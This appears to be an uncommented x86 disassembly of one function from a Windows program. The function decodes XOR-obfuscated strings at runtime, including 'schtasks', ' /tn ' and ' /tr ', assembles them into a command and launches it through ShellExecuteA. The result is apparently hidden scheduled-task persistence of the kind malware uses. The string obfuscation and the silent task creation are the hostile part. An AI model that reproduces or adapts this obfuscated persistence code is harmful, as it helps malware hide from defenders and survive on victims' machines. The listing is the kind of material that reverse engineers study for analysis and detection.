push dword [ebp - 0x14]
push edi
call fcn.004706c0
mov edi, dword [ebp - 0x198]
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], eax
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], eax
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], eax
mov eax, dword [ecx]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x1d4], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1cc], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1c8], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1c4], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0xc8]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0x1d8]
call fcn.0046a480
mov edx, eax
mov ecx, dword [edx + 4]
mov eax, dword [edx + 0x10]
mov ebx, dword [edx]
mov dword [ebp - 0xc0], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0xbc], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0xb4], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xb8], ecx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xb0], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0x1c4]
cmp ecx, 0x10
jb 0x4171e6
mov edx, dword [ebp - 0x1d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4171dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d63
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1c8], 0
mov dword [ebp - 0x1c4], 0xf
mov byte [ebp - 0x1d8], 0
mov byte [ebp - 4], 0x19
mov ecx, dword [ebp - 0x134]
cmp ecx, 0x10
jb 0x41723f
mov edx, dword [ebp - 0x148]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417235
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d63
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
mov byte [ebp - 4], 0x1a
mov ecx, dword [ebp - 0x1dc]
cmp ecx, 0x10
jb 0x417298
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41728e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d63
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1e0], 0
mov dword [ebp - 0x1dc], 0xf
mov byte [ebp - 0x1f0], 0
mov byte [ebp - 4], 0x1b
mov ecx, dword [ebp - 0x14c]
cmp ecx, 0x10
jb 0x4172f1
mov edx, dword [ebp - 0x160]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4172e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d63
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x14c], 0xf
mov byte [ebp - 0x160], 0
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0xd0]
cmp ecx, 0x10
jb 0x41734a
mov edx, dword [ebp - 0xe4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417340
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d63
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x4173a3
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417399
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d63
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [ebp - 0x14], 0x10
lea esi, [ebp - 0xc4]
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x17c], 0xf
mov byte [ebp - 0x190], 0
jb 0x4173cc
mov esi, ebx
sub esp, 0x18
mov ecx, esi
mov edx, esp
xor eax, eax
lea ebx, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4173f0
sub ecx, ebx
push ecx
push esi
mov ecx, edx
call fcn.00402ae0
xor cl, cl
call fcn.00415b90
add esp, 0x18
mov dword [ebp - 0x7e], 0xd5b1b9d4
mov dword [ebp - 0x7a], 0x9889d6d8
xor ecx, ecx
mov dword [ebp - 0x76], 0xb3b0b2dc
mov dword [ebp - 0x72], 0x4d4d464f
mov dword [ebp - 0x6e], 0x6b742a24
mov dword [ebp - 0x6a], 0x4c434128
mov dword [ebp - 0x66], 0x5b5d4844
mov word [ebp - 0x62], 0x100
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x7e], al
inc ecx
cmp ecx, 0x1c
jb 0x417445
mov byte [ebp - 0x61], 0
xor ecx, ecx
mov dword [ebp - 0x2e], 0x83d9d5d6
mov dword [ebp - 0x2a], 0xd8d996
mov byte [ebp - 0x26], 1
jmp 0x417470
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2e], al
inc ecx
cmp ecx, 7
jb 0x417470
mov byte [ebp - 0x26], 0
xor ecx, ecx
mov dword [ebp - 0x1d], 0x83d9d5d6
mov dword [ebp - 0x19], 0xd8d98a
mov byte [ebp - 0x15], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 7
jb 0x417496
xor eax, eax
mov byte [ebp - 0x15], 0
lea ecx, [ebp - 0x370]
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4174d7
sub ecx, edx
lea eax, [ebp - 0x370]
push ecx
push eax
lea ecx, [ebp - 0x178]
call fcn.00402ae0
mov byte [ebp - 4], 0x1e
xor ecx, ecx
mov dword [ebp - 0xe4], 0x839e9687
mov dword [ebp - 0xe0], 0x88918a99
mov dword [ebp - 0xdc], 0x8d9dd2dc
mov dword [ebp - 0xd8], 0x66766065
mov dword [ebp - 0xd4], 0x27602a24
mov dword [ebp - 0xd0], 0x2b5f5b27
mov word [ebp - 0xcc], 0x2e
mov byte [ebp - 0xca], 1
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0xe4], al
inc ecx
cmp ecx, 0x19
jb 0x417545
lea eax, [ebp - 0x178]
mov byte [ebp - 0xca], 0
push eax
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0x100]
call fcn.0046e530
add esp, 4
lea ecx, [ebp - 0x1d]
mov byte [ebp - 4], 0x1f
push ecx
mov ecx, eax
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [edx]
mov dword [ebp - 0x60], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0x5c], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x58], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x54], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x50], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x4c], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x130]
cmp dword [ebp - 0x11c], 0x10
mov ebx, dword [ebp - 0x120]
jb 0x4175f0
mov edx, dword [ebp - 0x130]
mov esi, dword [ebp - 0x4c]
mov eax, esi
mov ecx, dword [ebp - 0x50]
sub eax, ecx
cmp ebx, eax
ja 0x417626
lea eax, [ecx + ebx]
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x60]
cmp esi, 0x10
jb 0x41760f
mov eax, dword [ebp - 0x60]
push ebx
lea esi, [eax + ecx]
push edx
push esi
call fcn.004e0f70
add esp, 0xc
mov byte [ebx + esi], 0
lea ecx, [ebp - 0x60]
jmp 0x41763a
push ebx
push edx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x60]
push dword [ebp - 0x14]
push ebx
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], eax
mov eax, dword [ecx]
mov dword [ebp - 0x118], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x114], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x110], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x10c], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x108], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x104], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x2e]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x118]
call fcn.0046a480
mov edx, eax
xor eax, eax
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xa0], eax
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], eax
mov ecx, dword [edx]
mov dword [ebp - 0xa8], ecx
mov eax, dword [edx + 4]
mov dword [ebp - 0xa4], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0xa0], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x9c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x98], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x94], eax
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1a8]
cmp dword [ebp - 0x194], 0x10
jb 0x417740
mov ecx, dword [ebp - 0x1a8]
mov edx, dword [ebp - 0x94]
mov eax, edx
mov esi, dword [ebp - 0x98]
sub eax, esi
cmp edi, eax
ja 0x41778b
lea eax, [edi + esi]
mov dword [ebp - 0x98], eax
lea ebx, [ebp - 0xa8]
cmp edx, 0x10
jb 0x41776e
mov ebx, dword [ebp - 0xa8]
push edi
lea eax, [ebx + esi]
push ecx
push eax
call fcn.004e0f70
lea eax, [edi + ebx]
add esp, 0xc
mov byte [eax + esi], 0
lea ecx, [ebp - 0xa8]
jmp 0x4177a2
push edi
push ecx
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xa8]
push dword [ebp - 0x14]
push edi
call fcn.004706c0
mov ecx, eax
xor eax, eax
mov dword [ebp - 0x208], eax
mov dword [ebp - 0x204], eax
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], eax
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], eax
mov eax, dword [ecx]
mov dword [ebp - 0x208], eax
mov eax, dword [ecx + 4]
mov dword [ebp - 0x204], eax
mov eax, dword [ecx + 8]
mov dword [ebp - 0x200], eax
mov eax, dword [ecx + 0xc]
mov dword [ebp - 0x1fc], eax
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x1f8], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x1f4], eax
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
lea eax, [ebp - 0x7e]
mov byte [ebp - 4], 0x23
push eax
lea ecx, [ebp - 0x208]
call fcn.0046a480
mov edx, eax
mov ecx, dword [edx + 4]
mov edi, dword [edx]
mov eax, dword [edx + 0x10]
mov ebx, dword [edx + 0x14]
mov dword [ebp - 0x18c], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x188], ecx
mov ecx, dword [edx + 0xc]
mov dword [ebp - 0x190], edi
mov dword [ebp - 0x184], ecx
mov dword [ebp - 0x180], eax
mov dword [ebp - 0x17c], ebx
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x1f4]
cmp ecx, 0x10
jb 0x4178a7
mov edx, dword [ebp - 0x208]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41789d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d68
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 0x1f4], 0xf
mov byte [ebp - 0x208], 0
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x417900
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4178f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d68
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0xf
mov byte [ebp - 0xa8], 0
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x104]
cmp ecx, 0x10
jb 0x417959
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41794f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d68
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
mov byte [ebp - 4], 0x28
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x4179ac
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4179a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d68
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
mov byte [ebp - 4], 0x29
mov ecx, dword [ebp - 0xec]
cmp ecx, 0x10
jb 0x4179fc
mov edx, dword [ebp - 0x100]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4179f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d68
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0xf0], 0
mov dword [ebp - 0xec], 0xf
mov byte [ebp - 0x100], 0
mov byte [ebp - 4], 0x2a
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x417a55
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417a4b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d68
push ecx
push edx
call fcn.004df511
add esp, 8
mov dword [ebp - 0x168], 0
lea esi, [ebp - 0x190]
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
cmp ebx, 0x10
jb 0x417a7d
mov esi, edi
sub esp, 0x18
mov ecx, esi
mov edx, esp
xor eax, eax
lea edi, [ecx + 1]
mov dword [edx], eax
mov dword [edx + 4], eax
mov dword [edx + 8], eax
mov dword [edx + 0xc], eax
mov dword [edx + 0x10], eax
mov dword [edx + 0x14], eax
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x417aa0
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402ae0
xor cl, cl
call fcn.00415b90
mov byte [ebp - 4], 0x1d
add esp, 0x18
mov ecx, dword [ebp - 0x17c]
cmp ecx, 0x10
jb 0x417afa
mov edx, dword [ebp - 0x190]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417af0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d6d
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xb0]
cmp ecx, 0x10
jb 0x417b38
mov edx, dword [ebp - 0xc4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417b2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d6d
push ecx
push edx
call fcn.004df511
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x130]
mov ecx, esp
push eax
call fcn.0046a770
call fcn.0040a600
add esp, 0x18
test al, al
je 0x417ba5
cmp dword [ebp - 0x11c], 0x10
lea edx, [ebp - 0x130]
jb 0x417b6a
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x2b], 0x9993859b
xor ecx, ecx
mov word [ebp - 0x27], 0x100
lea esp, [esp]
mov al, cl
sub al, 0xc
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 4
jb 0x417b80
push 1
push 0
push 0
push edx
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x26], 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x11c]
cmp ecx, 0x10
jb 0x417bdf
mov edx, dword [ebp - 0x130]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417bd5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d72
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x34]
cmp ecx, 0x10
jb 0x417c13
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417c09
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d77
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x20c]
cmp ecx, 0x10
jb 0x417c4d
mov edx, dword [ebp - 0x220]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417c43
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d7c
push ecx
push edx
call fcn.004df511
add esp, 8
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x20c], 0xf
mov byte [ebp - 0x220], 0
cmp eax, 0x10
jb 0x417ca4
mov edx, dword [ebp - 0x1a8]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x417c9a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d7c
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x254]
cmp ecx, 0x10
jb 0x417cde
mov edx, dword [ebp - 0x268]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417cd4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d7c
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x224]
cmp ecx, 0x10
jb 0x417d14
mov edx, dword [ebp - 0x238]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x417d0a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x417d7c
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00402270
call fcn.00402270
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
push eax
call fcn.004de4bb
call fcn.004e47b0
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
int3